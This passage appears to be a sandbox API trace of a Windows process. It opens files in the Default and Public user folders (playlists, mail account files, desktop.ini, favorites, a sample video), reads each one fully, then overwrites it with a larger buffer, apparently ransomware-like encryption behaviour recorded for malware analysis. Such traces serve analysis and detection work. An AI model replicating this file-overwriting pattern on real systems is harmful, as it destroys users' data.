Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0054.041] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.041] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4f3 [0054.041] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.042] ReleaseMutex (hMutex=0x128) returned 1 [0054.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="03_Music_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0054.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="03_Music_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb20f4, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03_Music_rated_at_4_or_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0054.042] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4f3, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2c0f2bc*=0x4f3, lpOverlapped=0x0) returned 1 [0054.257] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0054.257] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0xa7b, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa7b, lpOverlapped=0x0) returned 1 [0054.257] CloseHandle (hObject=0x1b0) returned 1 [0054.257] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.512] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.513] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x5e4 [0055.513] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.513] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.514] ReleaseMutex (hMutex=0x128) returned 1 [0055.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0055.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cchWideChar=55, lpMultiByteStr=0x1e86bac, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpUsedDefaultChar=0x0) returned 55 [0055.520] ReadFile (in: hFile=0x168, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x5e4, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2c0f2bc*=0x5e4, lpOverlapped=0x0) returned 1 [0055.542] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0055.542] WriteFile (in: hFile=0x168, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xb6c, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xb6c, lpOverlapped=0x0) returned 1 [0055.542] CloseHandle (hObject=0x168) returned 1 [0055.543] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.543] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.543] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xe7 [0055.543] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.543] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.543] ReleaseMutex (hMutex=0x128) returned 1 [0055.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0055.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.htm", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Garden.htm", lpUsedDefaultChar=0x0) returned 10 [0055.543] ReadFile (in: hFile=0x168, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x2c0f2bc*=0xe7, lpOverlapped=0x0) returned 1 [0055.544] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0055.544] WriteFile (in: hFile=0x168, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x66f, lpOverlapped=0x0) returned 1 [0055.544] CloseHandle (hObject=0x168) returned 1 [0055.545] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.545] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.545] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4000 [0055.545] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.545] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.545] ReleaseMutex (hMutex=0x128) returned 1 [0055.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.pat", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0055.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.pat", cchWideChar=15, lpMultiByteStr=0x1e6316c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMail.pat", lpUsedDefaultChar=0x0) returned 15 [0055.545] ReadFile (in: hFile=0x168, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.547] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3000 [0055.547] ReadFile (in: hFile=0x168, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.547] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3000 [0055.547] WriteFile (in: hFile=0x168, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.548] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0055.548] WriteFile (in: hFile=0x168, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0055.548] CloseHandle (hObject=0x168) returned 1 [0055.548] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.549] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.549] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x11a [0055.549] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.549] ReleaseMutex (hMutex=0x128) returned 1 [0055.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0055.549] ReadFile (in: hFile=0x168, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x2c0f2bc*=0x11a, lpOverlapped=0x0) returned 1 [0055.550] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0055.550] WriteFile (in: hFile=0x168, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a2, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6a2, lpOverlapped=0x0) returned 1 [0055.550] CloseHandle (hObject=0x168) returned 1 [0055.550] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.551] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.551] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x86 [0055.552] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.552] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.552] ReleaseMutex (hMutex=0x128) returned 1 [0055.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Store.url", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0055.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft Store.url", cchWideChar=19, lpMultiByteStr=0x1e78b04, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Store.url", lpUsedDefaultChar=0x0) returned 19 [0055.552] ReadFile (in: hFile=0x168, lpBuffer=0x257de58, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257de58*, lpNumberOfBytesRead=0x2c0f2bc*=0x86, lpOverlapped=0x0) returned 1 [0055.553] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0055.553] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60e, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x60e, lpOverlapped=0x0) returned 1 [0055.553] CloseHandle (hObject=0x168) returned 1 [0055.553] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.554] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.554] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x85 [0055.554] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.554] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.554] ReleaseMutex (hMutex=0x128) returned 1 [0055.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Spaces.url", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0055.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Spaces.url", cchWideChar=23, lpMultiByteStr=0x1e78b04, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Live Spaces.url", lpUsedDefaultChar=0x0) returned 23 [0055.554] ReadFile (in: hFile=0x168, lpBuffer=0x257de58, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257de58*, lpNumberOfBytesRead=0x2c0f2bc*=0x85, lpOverlapped=0x0) returned 1 [0055.555] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0055.555] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0055.555] CloseHandle (hObject=0x168) returned 1 [0055.555] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1f8 [0055.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.556] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.556] ReleaseMutex (hMutex=0x128) returned 1 [0055.556] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.556] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0055.556] ReadFile (in: hFile=0x168, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2c0f2bc*=0x1f8, lpOverlapped=0x0) returned 1 [0055.557] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0055.557] WriteFile (in: hFile=0x168, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x780, lpOverlapped=0x0) returned 1 [0055.557] CloseHandle (hObject=0x168) returned 1 [0055.558] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.558] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.558] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x36c [0055.558] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.558] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.558] ReleaseMutex (hMutex=0x128) returned 1 [0055.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RecordedTV.library-ms", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0055.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RecordedTV.library-ms", cchWideChar=21, lpMultiByteStr=0x1e78b04, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RecordedTV.library-ms", lpUsedDefaultChar=0x0) returned 21 [0055.558] ReadFile (in: hFile=0x168, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x36c, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2c0f2bc*=0x36c, lpOverlapped=0x0) returned 1 [0055.560] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0055.560] WriteFile (in: hFile=0x168, lpBuffer=0x27accb8*, nNumberOfBytesToWrite=0x8f4, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27accb8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x8f4, lpOverlapped=0x0) returned 1 [0055.560] CloseHandle (hObject=0x168) returned 1 [0055.560] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0055.561] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.561] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x940000 [0055.561] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0055.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.561] ReleaseMutex (hMutex=0x128) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win7_scenic-demoshort_raw.wtv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0055.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win7_scenic-demoshort_raw.wtv", cchWideChar=29, lpMultiByteStr=0x1e7faec, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="win7_scenic-demoshort_raw.wtv", lpUsedDefaultChar=0x0) returned 29 [0055.561] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.564] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.565] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.568] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.573] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.573] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef30000 [0055.579] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, 